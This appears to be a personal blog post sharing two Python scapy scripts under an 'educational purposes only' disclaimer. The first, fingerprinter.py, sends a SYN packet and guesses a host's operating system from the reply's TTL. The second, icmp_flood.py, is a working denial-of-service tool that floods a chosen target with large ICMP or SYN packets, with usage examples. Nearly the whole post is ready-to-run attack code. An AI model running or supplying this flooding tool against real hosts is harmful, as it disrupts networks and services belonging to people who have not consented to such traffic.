Post

Tools

Disclamer: All the scripts i write are for educational purposes only.

fingerprinter.py

a simple python script that uses ttl from tcp packet to detrmine the os of a machine.

image

Example: python3 fingerprinter.py -H IP -sP 5555 -dP 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from scapy.all import *
import argparse


def argument_parser():
    """Allow user to specify target host and port."""
    parser = argparse.ArgumentParser(description="Basic OS detection tool.")
    parser.add_argument("-H", "--host", help="Host IP address")
    parser.add_argument("-sP", "--sendport",help="sender port'")
    parser.add_argument("-dP", "--destport",help="destination port'")

    var_args = vars(parser.parse_args())  
    return var_args

def fingerprint(target: str, sport0: int, dport0: int):
	seq=100
	ip = IP(dst=target)
	tcp= TCP(sport= sport0, dport= dport0, flags="S", seq= seq)

	packet= ip/tcp
	synack_packet = sr1(packet ,verbose=0)
	#synack_packet.show()
	if synack_packet.ttl == 128:
		return "Windows"
	elif synack_packet.ttl == 64:
		return "Linux"

	
'''
ip= str(input("Enter the target ip: "))
sendp= int(input("Enter Sending Port: "))
destp= int(input("Enter destination Port: "))
'''

if __name__ == "__main__":
	try:
		user_args = argument_parser()
		host = str(user_args["host"])
		sport = int(user_args["sendport"])
		dport = int(user_args["destport"])
		print(f"The Host {host} OS is " + fingerprint(host, sport, dport))
	except AttributeError:
		print("Error. Please provide the command-line arguments before running.")

icmp_flood.py

a simple icmp/syn flooding python script using scapy library.

Example: python3 icmp_flood.py -H IP -c 100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from scapy.all import *
import argparse


def argument_parser():
    """Allow user to specify target host and port."""
    parser = argparse.ArgumentParser(description="Basic SYN , ICMP flood script.")
    parser.add_argument("-H", "--host", help="Host IP address")
    parser.add_argument("-c", "--cycle", help="select how many times the packet is sent")

    var_args = vars(parser.parse_args())  # Convert argument namespace to dictionary
    print(var_args)
    return var_args


def icmp_flood(target: str , cycle: int, payload: int = 65000):
	ip = IP(dst=target)
	icmp = ICMP()
	raw = Raw(b"X" * payload)
	packet = ip / icmp / raw
	send(packet, count=cycle, verbose=0)
	print('send_ping(): Sent ' + str(cycle) + ' pings of ' + str(payload) + ' size to ' + target)


def syn_flood(target: str, cycle: int, dport: int,  payload: int = 65000):
	ip = IP(dst=target)
	tcp = TCP(dport= dport, flags= "S")
	raw = Raw(b"X" * payload)
	packet = ip / tcp / raw
	send(packet, count=cycle, verbose=0)
	print('send_syn(): Sent ' + str(cycle) + ' packets of ' + str(payload) + ' size to ' + target)


if __name__ == "__main__":
	try:
		user_args = argument_parser()
		host = str(user_args["host"])
		cycle = int(user_args["cycle"])

		flood_type = input("ICMP or SYN flood? ")

		if flood_type.lower() == "icmp": 
			icmp_flood(host, cycle)
		
		elif flood_type.lower() == "syn":
			dport= int(input("Enter Destination port: "))
			syn_flood(host, cycle, dport)
	
	except AttributeError:
		print("Error. Please provide the command-line arguments before running.")
This post is licensed under CC BY 4.0 by the author.